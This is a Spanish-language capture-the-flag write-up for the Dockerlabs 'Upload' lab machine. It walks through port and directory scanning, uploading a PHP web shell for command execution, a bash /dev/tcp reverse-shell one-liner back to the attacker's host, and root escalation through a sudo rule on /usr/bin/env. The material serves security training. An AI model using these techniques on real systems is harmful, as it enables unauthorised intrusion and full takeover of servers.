Upload - Dockerlabs
La máquina Upload se puede encontrar en Dockerlabs y está catalogada como de nivel muy fácil. Mediante fuzzing, encontraremos un cargador de archivos del que podremos abusar para obtener una reverse shell en la máquina víctima. Para escalar privilegios, podremos aprovechar los permisos que tiene el usuario sobre el binario /env.
Reconocimiento
Comienzo desplegando la máquina docker con el script de auto_deploy. Voy a comprobar que se encuentra activa haciendo un ping.
ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.273 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.273/0.273/0.273/0.000 ms
El siguiente paso es hacer un nmap para ver que puertos tiene abiertos. Utilizo los siguientes parámetros:
- -p-: Escanear todos los puertos (65535).
- –open: Mostrar solo los puertos abiertos.
- -sS: Realiza un TCP SYN Scan para escanear rápidamente que puertos están abiertos.
- –min-rate 5000: Indicamos que el escaneo no vaya más lento que 5000 paquetes por segundo.
- -vvv: El modo verbose nos muestra la información según se va encontrando.
- -n: No realizar resolución de DNS. Así evitamos que el escaneo dure más tiempo del necesario.
- -Pn: Deshabilitar el descubrimiento de host mediante ping.
- -oG: Exportar el resultado a un fichero en una sola línea para que podamos usar comandos como: grep, awk, sed, etc.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allports
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 12:15 EDT
Initiating ARP Ping Scan at 12:15
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 12:15, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:15
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 12:15, 0.76s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000060s latency).
Scanned at 2024-05-28 12:15:56 EDT for 1s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Solo encuentra 1 puerto abierto:
- 80 (HTTP)
Ejecuto otro nmap para analizar los servicios y versiones de ese puerto. Los comandos usados son:
- -sCV: Detectar el servicio y aplicar scripts básicos de reconocimiento.
- -p: Indicar los puertos a escanear.
- -oN: Exportar el resultado a un archivo.
nmap -sCV -p80 172.17.0.2 -oN target
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 12:20 EDT
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 85.03% done; ETC: 12:20 (0:00:00 remaining)
Nmap scan report for 172.17.0.2
Host is up (0.00015s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Upload here your file
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.34 seconds
Uso whatweb para ver que tecnologías se usan en la web.
whatweb http://172.17.0.2
http://172.17.0.2 [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[172.17.0.2], Title[Upload here your file]
Para enumerar archivos y directorios uso la herramienta dirsearch. Le indico que no me muestre varios códigos de estado HTTP.
dirsearch -u http://172.17.0.2 --exclude-status 403,404,500,502,400,401
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/upload/nmap/reports/http_172.17.0.2/_24-05-28_12-21-37.txt
Target: http://172.17.0.2/
[12:21:37] Starting:
[12:22:05] 200 - 503B - /upload.php
[12:22:05] 200 - 404B - /uploads/
[12:22:05] 301 - 310B - /uploads -> http://172.17.0.2/uploads/
Task Completed
Análisis de vulnerabilidades
Accedo a la web y encuentro la página que viene por defecto en la instalación de apache.

Voy a la ruta de “uploads” que ha encontrado dirsearch, pero veo que está vacía.

En el archivo “upload.php “ me encuentro con un subidor. Creo un fichero de prueba y lo subo.

Compruebo como se ha guardado en /uploads, el cual antes estaba vacío.

Explotación de vulnerabilidades
Voy a crear un payload en php que me permita explotar un RCE utilizando la función shell_exec.

Subo el fichero y accedo a él. Usando el parámetro “cmd”, introduzco el comando whoami y veo como se ejecuta correctamente.

El siguiente paso es obtener una reverse shell. Me pongo en escucha con netcat y ejecuto el comando bash -c "bash -i >%26 /dev/tcp/172.17.0.1/4321 0>%261" (importante hacer URL encode de & a %26). Consigo obtener acceso al sistema.
nc -nlvp 4321
listening on [any] 4321 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 37384
bash: cannot set terminal process group (25): Inappropriate ioctl for device
bash: no job control in this shell
www-data@0c5eb0247473:/var/www/html/uploads$ whoami
whoami
www-data
www-data@0c5eb0247473:/var/www/html/uploads$
Escalada de privilegios
Para tener una consola interactiva, hay que hacer un tratamiento de la tty. Ejecuto script /dev/null -c bash, hago ctrl+z, escribo “stty raw -echo; fg”, introduzco “reset xterm” y doy un intro. Con esto he reiniciado la configuración de la terminal.
www-data@0c5eb0247473:/var/www/html/uploads$
La shell todavía no es interactiva del todo. Podemos ver que la variable de entorno $TERM tiene el valor dump y no xterm. Podemos arreglar esto de la siguiente forma.
www-data@0c5eb0247473:/var/www/html/uploads$ echo $TERM
dumb
www-data@0c5eb0247473:/var/www/html/uploads$ export TERM=xterm
La proporción de la consola no es igual a la de terminal. Miro el tamaño con stty size.
www-data@0c5eb0247473:/var/www/html/uploads$ stty size
24 80
En la máquina hay 24 filas y 80 columnas, pero en mi kali son 63 filas y 281 columnas. Las modifico para que tengan el mismo espacio.
www-data@0c5eb0247473:/var/www/html/uploads$ stty rows 63 columns 281
Reviso información del usuario actual.
www-data@0c5eb0247473:/var/www/html/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Compruebo si el usuario actual tiene algún permiso especial. Veo que puede ejecutar /usr/bin/env como root sin necesidad de proporcionar una contraseña.
www-data@0c5eb0247473:/var/www/html/uploads$ sudo -l
Matching Defaults entries for www-data on 0c5eb0247473:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User www-data may run the following commands on 0c5eb0247473:
(root) NOPASSWD: /usr/bin/env
Buscando, encuentro en env-GTFOBins como obtener una shell como root usando el binario /env. Ejecuto sudo env /bin/sh y consigo ser usuario root.
$ sudo env /bin/sh
# whoami
root